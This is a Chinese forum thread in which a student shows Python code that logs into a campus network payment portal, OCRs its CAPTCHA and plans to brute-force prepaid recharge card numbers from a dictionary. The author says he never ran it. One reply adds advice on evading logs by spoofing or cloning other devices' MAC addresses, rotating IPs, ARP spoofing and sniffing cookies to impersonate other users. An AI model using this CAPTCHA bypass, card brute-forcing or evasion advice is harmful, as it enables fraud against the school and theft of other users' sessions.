吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 15650|回复: 65
收起左侧

[Python 转载] python变相破解校园网

  [复制链接]
laoxiaodiao 发表于 2019-9-2 21:56
本帖最后由 laoxiaodiao 于 2019-9-6 13:21 编辑

校园网一直是坑爹一般的存在,别人都用上5G了,而我们学校却还停留在10块钱3个G的时代,也许你会说,用手机的流量就行了呀,但是学校有些资源还必须得要内网才能访问呀。然而我们知道,校园网的安全性根本就比不了那些公司,有很多大佬一直也在学校的学校的内网中遨游,我等只能膜拜,今天我们就一起来看看我是怎么变相破解校园网的。为什么说是变相呢,因为本文采用的方法没有你想的那么高大上,额。。。。。。,就是没有你想象的那么牛逼,原理其实很简单,就是学校开通了网上充值的通道,但是,这个通道必须的得要登录,而且还要验证码,所以本文也就基于python来模拟登陆且识别验证码,实现一个暴力破解充值卡的功能。声明:仅做学习交流之用,我也没有真的去暴力破解充值卡,我怂,不敢动学校的东西。
思路整理:
1:request模拟登陆系统
2:进入充值界面
3:获取充值界面的验证码,并识别验证码
4:将卡号和验证码发送给服务器,获取结果

1:request模拟登陆系统
废话不多说(本人废话比较多,手动狗头.jpg)。登录页面是这样子的
主页面.png
第一次登录,是不要验证码的,所以,在登录的过程中,是不用识别验证码的,但是我们输入错了账号密码的话,会出现验证码
主页面有验证码.png
我们输入账号密码,登录抓包试试
登录请求数据.png
显而易见,mode是登录,login是账号,passwd是admin,vcode是验证码,上面出现了vcode是因为我上次输错了账号密码,要输入验证码验证,但是我们加入第一次输对了账号密码就可以不用vcode
那么我们来看看服务器给我们返回的数据头(主要是setcookie)
登录的请求.png
哇,就只有phpsession一个,天助我也,在这里我用了requests的session()函数,这个可以保存服务器返回的cookie,下次用session发送就会带上上次的cookie,还挺好用。但是用了这么久,还是发现有些cookie保存不了,不知道是我太菜还是怎么地,还望大佬解答。输对了站好密码登录,然后进入个人信息页面(穷光蛋一个,希望各位自动忽略{:1_907:} )
个人信息页.png
以下是登录的代码:由于隐私问题,将host去掉了,反正也影响不大,只是给大家一个例子

from PIL import Image  #用于处理验证码图片的库
import requests
import pytesseract    #用于识别验证码的库
import re
from bs4 import BeautifulSoup  #用于页面的信息提取
zh=input('请输入校园网账号:')
mm=input('请输入校园网密码:')
cardid=input('输入你要查询的充值卡号:')
session=requests.session()#用这个能够保存服务器返回的setcookie字段,就可以不用在下次的请求头中自己构造cookie了,还挺方便
def get_PHPSESSID():#获取会话id
head={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.9,en;q=0.8',
'Connection':'keep-alive',
'Host':'...',
'Referer':'http://.../login.jsp?sourceurl=http://www.msftconnecttest.com/redirect',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'
}
cookie=session.get(url='http://.../zili/',headers=head)
print(session.cookies)

    def login():
            head = {
                    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
                    'Accept-Encoding': 'gzip, deflate',
                    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
                    'Cache-Control':'max-age=0',
                    'Connection': 'keep-alive',
                    'Content-Length':'38',
                    'Content-Type':'application/x-www-form-urlencoded',
                    'Host': '...',
                    'Origin':'http://...',
                    'Referer': 'http://.../zili/',
                    'Upgrade-Insecure-Requests':'1',
                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'
                                    }
            data='mode=login&login={zh}&passwd={mm}'.format(zh=zh,mm=mm)
            result=session.post(url='http://.../zili/index.php',headers=head,data=data)#这是登陆的请求

head1={
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
    'Cache-Control':'max-age=0',
    'Connection': 'keep-alive',
    'Host': '...',
    'Origin':'http://...',
    'Referer': 'http://.../zili/',
    'Upgrade-Insecure-Requests':'1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'
}
            BS=session.get(url='http://.../zili/myinfo.php',headers=head1).text#这是获得个人信息的请求
            soup=BeautifulSoup(BS,'html.parser')#用beautifulsoup来重新处理返回的BS页面,以便按标签提取内容
            my_info=soup.find_all('div',attrs={'align':'left'})#获取所有div标签,且align=left的内容
            print('你的个人信息如下:')
            for row in my_info:#其实上一个语句无法获得标签内的内容,而是获得类型为'bs4.element.ResultSet'的数据,故需要进行提取
                    print(row.text)


2、3:进入充值界面并获取充值界面的验证码,并识别验证码

充值界面如下:

在线充值.png
想要获取充值或查询,那么我们得要获得验证码,然后将验证码的数字和充值卡号发送给服务器,那么验证码如何获取?看下面

获得验证码.png

发送这个请求,获得图片,保存在本地,然后将图片灰度化(就是变成黑白),提高识别率,返回识别结果,我们还是老看程序,边看边说

yzm.png

def get_img():#获取验证码保存到本地
head={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh - CN, zh;q = 0.9, en;q = 0.8',
'Connection':'keep - alive',
'Host':'...',
'Referer':'.../zili/myinfo.php',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'
}#请求头
session.get(url='http://.../zili/charge_card.php',headers=head,stream=True)#进入充值的界面
head1={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh - CN, zh;q = 0.9, en;q = 0.8',
'Connection':'keep - alive',
'Host':'...',
'Referer':'http://.../zili/charge_card.php',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'
}
result=session.get(url='http://.../zili/vcode.php',headers=head1)#获取图片,所返回的是一组数据流,也就是图片的数据
image = result.content#result.content代表返回的数据,赋值给image变量
with open(r'img/yzm.jpg', 'wb') as xiazai:#打开img文件夹下的yzm.jpg图片文件,wb代表以‘’二进制写”的方式打开,如果没有这个文件,会帮你建立这个文件,并将这个骚操作以xiazai来表示
xiazai.write(image)#将image里的数据写进xiazai操作打开的yzm.jpg文件中


经过上面的程序,我们就可以把验证码下载到本地,如下

但是这个图片是彩色的,我们得要把它变成灰色的,边看程序边说

def prc_pic():#处理下载的验证码
yzm=Image.open(r'img\yzm.jpg')#用image库里的Image打开yzm.jpg图片
yzm_l=yzm.convert('L')#将图片灰度化
yzm_l.save(r'img\jzm.jpg')#将生成的灰度图保存为jzm.jpg
yuzhi=150#定义一个阈值,大于这个值为黑色,小于这个值为白色
table = []#用来保存值的数组
for i in range(256):
if i < yuzhi:
table.append(0)
else:
table.append(1)
out = yzm_l.point(table, '1')
out.save(r'img\yzm1.jpg')


这里我们说一下,图片就是由矩阵组成,对于黑白图像,每个像素用一个字节数据来表示,而在彩色图像中,每个像素需用三个字节数据来表述。彩色图像可以分解成红(R)、绿(G)、蓝(B)三个单色图像,任何一种颜色都可以由这三种颜色混合构成。在图像处理中,彩色图像的处理通常是通过对其三个单色图像分别处理而得到的,每一幅图像在构成上,都是由一个个像素组成的矩阵,每一个像素为单元格。彩色图像的像素的由三原色(红,绿,蓝)构成元组,灰度图像的像素是一个单值(前边我们已经把图片灰度化了),每个像素的值范围为(0,255)这里我们定义一个阈值,大于这个阈值,就把这个点变为1,小于这个值,把他变为0,这里的0,1也就是黑白,我们一起来看看,处理后的图片
灰度图:
huidu.png
黑白图:
heibai.png
处理的效果还是挺好的,噪点少了很多,你可以调阈值来测试最好的处理效果
最后,就是识别图片,程序很简单
def shibie():  # 识别图片,返回结果
    print("识别结"+pytesseract.image_to_string(r'img\yzm.jpg'))
    return pytesseract.image_to_string(r'img\yzm.jpg')
jieguo.png
4:将卡号和验证码发送给服务器,获取结果哈哈,现在万事具备,只欠东风,发送查询充值指令抓个包,卡号错了,但是发送的数据包已经知道了
查询.png
所以,接下来就是不断的试充值卡号,反正验证码形同虚设,想怎么试就怎么试,那么怎么试卡号成功率才能大一点?就去买几张卡号,看看有什么规律嘛,生成一个字典,然后就可以一个个暴力破解了。
再次声明:本文仅学习使用,不要用于非法用途
诶呀,我的妈妈呀,不要抓我,我只是个宝宝。:'(weeqw
若本文对你有用,请不要吝啬您的评分,码字不易,谢谢,收听我,以后不定时更新

免费评分

参与人数 19吾爱币 +22 热心值 +15 收起 理由
2017000115 + 1 + 1 我很赞同!
oystk + 1 + 1 热心回复!
lmlyz00 + 1 用心讨论,共获提升!
花了一妓 + 1 用心讨论,共获提升!
Zurdo + 1 + 1 我很赞同!
开心糖 + 2 + 1 用心讨论,共获提升!
godmodel + 1 + 1 谢谢@Thanks!
露露的大雕 + 1 热心回复!
迷路的蒙多 + 1 + 1 谢谢@Thanks!
学习使我快乐鸭 + 1 + 1 热心回复!
且随疾风前行 + 1 + 1 用心讨论,共获提升!
绝版coco + 1 + 1 谢谢@Thanks!
H_Kali + 1 用心讨论,共获提升!
土拨鼠在喝水 + 1 + 1 用心讨论,共获提升!
down_drop + 1 谢谢@Thanks!
CrazyNut + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
fanweikang + 1 + 1 正在研究这个,值得好好学习学习
games + 2 + 1 谢谢@Thanks!
苏紫方璇 + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

本帖被以下淘专辑推荐:

  • · 好帖|主题: 540, 订阅: 84

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| laoxiaodiao 发表于 2019-9-3 09:26
本帖最后由 laoxiaodiao 于 2019-9-3 09:28 编辑

哈哈,发现各位老哥挺关心人的,放心,我不会那么傻,不敢试动学校的东西,不敢试也不想试,发这个帖子主要是为了复习一下python相关知识理论,主要是大家一起学习,也希望各位道友不要犯傻哈
天域至尊 发表于 2019-9-12 19:01
会有记录的,但是可以考虑使用虚假的MAC,没错,MAC也是可以更改的,可以使用随机MAC。另外一种方式,可以去写个脚本去嗅探内网设备的MAC,然后伪装成这些设备发起攻击,每攻击几次就换IP和MAC。一般情况下就不容易找了,因为看日志就是大家都发起了攻击。如果是端口绑定的,就算了。但是如果是wifi的话,你懂的。
另外不知道你们内网的配置,arp欺骗不知道能不能用,能用的话,你懂的,控制别人的数据流量。因为是http的,明文,不知道能不能嗅探到cookie等敏感数据,然后伪装成他们上网。

免费评分

参与人数 1热心值 +1 收起 理由
lmlyz00 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

大红袍 发表于 2019-9-2 22:05
xiaohan1 发表于 2019-9-2 22:02
我擦,楼主牛逼
我是人 发表于 2019-9-2 22:05
支持一下!慢慢研究!
niezian 发表于 2019-9-2 22:06
学习了~感谢分享
52pj8089 发表于 2019-9-2 22:12
挺有意思的思路,感谢分享!
zyy22664488 发表于 2019-9-2 22:13
楼主的验证码识别是怎么实现的,我上次是通过百度ocr识图的
有名小卒 发表于 2019-9-2 22:17
表示校园网没有卡号充值这种东西
j542936 发表于 2019-9-2 22:18
服务器有请求记录的。小心封你mac
games 发表于 2019-9-2 22:21
会玩啊。。。。。。。。。。。。。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-25 18:58

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表